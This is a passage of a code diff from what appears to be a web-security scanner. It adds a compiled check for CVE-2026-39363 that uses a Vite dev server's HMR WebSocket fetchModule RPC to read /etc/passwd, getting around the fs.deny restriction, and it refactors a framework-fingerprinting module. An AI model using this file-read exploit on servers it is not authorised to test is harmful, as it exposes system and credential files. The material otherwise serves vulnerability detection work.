I,GAAG,CAAC,2BAA2B,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QAEzF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,WAAW,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QAC7F,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QAC3F,IAAI,CAAC,QAAQ,IAAI,CAAC,OAAO;YAAE,SAAS;QAEpC,MAAM,MAAM,GAAG,YAAY,CAAC,OAAO,CAAC,CAAC;QACrC,MAAM,IAAI,GAAG,aAAa,CAAC,QAAQ,EAAE,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;QACxD,IAAI,IAAI,CAAC,gBAAgB,EAAE,CAAC;YACxB,OAAO;gBACH,UAAU,EAAE,IAAI;gBAChB,QAAQ,EAAE,wBAAwB,OAAO,6CAA6C,QAAQ,CAAC,MAAM,sBAAsB,OAAO,CAAC,MAAM,IAAI;gBAC7I,cAAc,EAAE,CAAC,UAAU,CAAC;gBAC5B,gBAAgB,EAAE,EAAE,IAAI,EAAE,OAAO,EAAE;aACtC,CAAC;QACN,CAAC;IACL,CAAC;IAED,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,iDAAiD,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;AAClH,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}
@@ -0,0 +1,60 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ import { connectViteHmr, sendRpcAndAwait } from "../utility/wsClient.js";
11
+ const CANDIDATE_FILES = ["/etc/passwd"];
12
+ export const buildFetchModuleMessage = (id, absPath) => ({
13
+ type: "custom",
14
+ event: "vite:invoke",
15
+ data: {
16
+ id,
17
+ name: "fetchModule",
18
+ data: [`file://${absPath}?raw`, undefined, { cached: false }],
19
+ },
20
+ });
21
+ /**
22
+ * CVE-2026-39363: unlike the HTTP-only fs.deny bypass (CVE-2025-30208), this vulnerability is
23
+ * transport-class — the HTTP /@fs/ endpoint's fs.deny checks simply never apply to the WebSocket
24
+ * `fetchModule` RPC exposed over the vite-hmr socket. There's no "baseline should fail" concept to
25
+ * diff against; `vulnerable` is just whether the RPC returned real file content.
26
+ */
27
+ const cve202639363 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
28
+ let ws;
29
+ try {
30
+ ws = yield connectViteHmr(ctx.baseUrl, ctx.timeout);
31
+ }
32
+ catch (err) {
33
+ return { vulnerable: false, evidence: `WebSocket connect failed: ${err}`, discoveredUrls: [] };
34
+ }
35
+ try {
36
+ for (const absPath of CANDIDATE_FILES) {
37
+ const requestId = `poc-${absPath.replace(/\W/g, "-")}`;
38
+ const result = yield sendRpcAndAwait(ws, buildFetchModuleMessage(requestId, absPath), ctx.timeout);
39
+ const content = typeof result === "string" ? result : JSON.stringify(result !== null && result !== void 0 ? result : "");
40
+ if (content.includes("root:")) {
41
+ return {
42
+ vulnerable: true,
43
+ evidence: `WebSocket fetchModule RPC returned contents of ${absPath}, bypassing HTTP-only fs.deny.`,
44
+ discoveredUrls: [],
45
+ rawFindingExtras: { file: absPath },
46
+ };
47
+ }
48
+ }
49
+ return {
50
+ vulnerable: false,
51
+ evidence: "fetchModule RPC did not return sensitive file content.",
52
+ discoveredUrls: [],
53
+ };
54
+ }
55
+ finally {
56
+ ws.close();
57
+ }
58
+ });
59
+ export default cve202639363;
60
+ //# sourceMappingURL=cve-2026-39363.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"cve-2026-39363.js","sourceRoot":"","sources":["../../../src/exploit/vite/cve-2026-39363.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,cAAc,EAAE,eAAe,EAA0B,MAAM,wBAAwB,CAAC;AAGjG,MAAM,eAAe,GAAG,CAAC,aAAa,CAAU,CAAC;AAEjD,MAAM,CAAC,MAAM,uBAAuB,GAAG,CAAC,EAAU,EAAE,OAAe,EAAqB,EAAE,CAAC,CAAC;IACxF,IAAI,EAAE,QAAQ;IACd,KAAK,EAAE,aAAa;IACpB,IAAI,EAAE;QACF,EAAE;QACF,IAAI,EAAE,aAAa;QACnB,IAAI,EAAE,CAAC,UAAU,OAAO,MAAM,EAAE,SAAS,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE,CAAC;KAChE;CACJ,CAAC,CAAC;AAEH;;;;;GAKG;AACH,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,IAAI,EAAE,CAAC;IACP,IAAI,CAAC;QACD,EAAE,GAAG,MAAM,cAAc,CAAC,GAAG,CAAC,OAAO,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC;IACxD,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACX,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,6BAA6B,GAAG,EAAE,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IACnG,CAAC;IAED,IAAI,CAAC;QACD,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;YACpC,MAAM,SAAS,GAAG,OAAO,OAAO,CAAC,OAAO,CAAC,KAAK,EAAE,GAAG,CAAC,EAAE,CAAC;YACvD,MAAM,MAAM,GAAG,MAAM,eAAe,CAAC,EAAE,EAAE,uBAAuB,CAAC,SAAS,EAAE,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC;YACnG,MAAM,OAAO,GAAG,OAAO,MAAM,KAAK,QAAQ,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,MAAM,aAAN,MAAM,cAAN,MAAM,GAAI,EAAE,CAAC,CAAC;YACnF,IAAI,OAAO,CAAC,QAAQ,CAAC,OAAO,CAAC,EAAE,CAAC;gBAC5B,OAAO;oBACH,UAAU,EAAE,IAAI;oBAChB,QAAQ,EAAE,kDAAkD,OAAO,gCAAgC;oBACnG,cAAc,EAAE,EAAE;oBAClB,gBAAgB,EAAE,EAAE,IAAI,EAAE,OAAO,EAAE;iBACtC,CAAC;YACN,CAAC;QACL,CAAC;QACD,OAAO;YACH,UAAU,EAAE,KAAK;YACjB,QAAQ,EAAE,wDAAwD;YAClE,cAAc,EAAE,EAAE;SACrB,CAAC;IACN,CAAC;YAAS,CAAC;QACP,EAAE,CAAC,KAAK,EAAE,CAAC;IACf,CAAC;AACL,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}
@@ -12,8 +12,10 @@ import fs from "fs";
12
12
  import path from "path";
13
13
  import * as cliProgress from "cli-progress";
14
14
  import frameworkDetect from "../lazyLoad/techDetect/index.js";
15
- import { computeBarSize, watchBarResize, setActiveBarLogger, progressLog } from "../utility/progressLog.js";
15
+ import { activateBarLogger, computeBarSize, progressLog, watchBarResize, withProgressResources, } from "../utility/progressLog.js";
16
16
  import * as globalsUtil from "../utility/globals.js";
17
+ import { resolveTargetInputs } from "../utility/targetInputs.js";
18
+ import { printMsg, MSG } from "../utility/printMsg.js";
17
19
  const FRAMEWORK_LABELS = {
18
20
  next: "next.js",
19
21
  vue: "vue.js",
@@ -22,16 +24,6 @@ const FRAMEWORK_LABELS = {
22
24
  angular: "angular",
23
25
  react: "react",
24
26
  };
25
- const parseUrls = (urlArg) => {
26
- if (fs.existsSync(urlArg)) {
27
- return fs
28
- .readFileSync(urlArg, "utf-8")
29
- .split("\n")
30
- .map((u) => u.trim())
31
- .filter((u) => u.length > 0);
32
- }
33
- return [urlArg];
34
- };
35
27
  export const deriveOutputPath = (outputFile, format) => {
36
28
  const ext = path.extname(outputFile);
37
29
  const base = ext ? outputFile.slice(0, -ext.length) : outputFile;
@@ -71,11 +63,11 @@ const appendResult = (result, completedResults, outputFile, formats) => {
71
63
  const logOutputFiles = (outputFile, formats) => {
72
64
  for (const format of formats) {
73
65
  const filePath = deriveOutputPath(outputFile, format);
74
- console.log(chalk.green(`[✓] Results written to ${filePath}`));
66
+ printMsg(MSG.Run, `[✓] Results written to ${filePath}`);
75
67
  }
76
68
  };
77
69
  const fingerprint = (urlArg_1, outputFile_1, formatArg_1, ...args_1) => __awaiter(void 0, [urlArg_1, outputFile_1, formatArg_1, ...args_1], void 0, function* (urlArg, outputFile, formatArg, threads = 5) {
78
- const urls = parseUrls(urlArg);
70
+ const urls = resolveTargetInputs(urlArg).targets;
79
71
  const concurrency = Math.max(1, threads);
80
72
  const rawFormats = formatArg
81
73
  .split(",")
@@ -99,8 +91,7 @@ const fingerprint = (urlArg_1, outputFile_1, formatArg_1, ...args_1) => __awaite
99
91
  }, cliProgress.Presets.shades_classic);
100
92
  const bar = multiBar.create(urls.length, 0, { url: "" });
101
93
  const stopWatcher = watchBarResize(bar, overhead);
102
- setActiveBarLogger(multiBar);
103
- globalsUtil.setQuiet(true);
94
+ const releaseBarLogger = activateBarLogger(multiBar, process.stdout.isTTY === true);
104
95
  let nextIdx = 0;
105
96
  const worker = () => __awaiter(void 0, void 0, void 0, function* () {
106
97
  var _a;
@@ -131,13 +122,12 @@ const fingerprint = (urlArg_1, outputFile_1, formatArg_1, ...args_1) => __awaite
131
122
  bar.increment(1);
132
123
  }
133
124
  });
134
- yield Promise.all(Array.from({ length: Math.min(concurrency, urls.length) }, worker));
135
- globalsUtil.setQuiet(false);
136
- multiBar.stop();
137
- setActiveBarLogger(null);
138
- stopWatcher();
125
+ yield withProgressResources(() => __awaiter(void 0, void 0, void 0, function* () {
126
+ globalsUtil.setQuiet(true);
127
+ yield Promise.all(Array.from({ length: Math.min(concurrency, urls.length) }, worker));
128
+ }), () => globalsUtil.setQuiet(false), () => multiBar.stop(), stopWatcher, releaseBarLogger);
139
129
  const detected = results.filter((r) => r.framework !== null).length;
140
- console.log(chalk.cyan(`\n[i] ${detected}/${results.length} URLs fingerprinted`));
130
+ printMsg(MSG.Header, `\n[i] ${detected}/${results.length} URLs fingerprinted`);
141
131
  if (outputFile) {
142
132
  logOutputFiles(outputFile, formats);
143
133
  }
@@ -1 +1 @@
1
- {"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/fingerprint/index.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/fingerprint/index.ts"],"names":[],"mappings":"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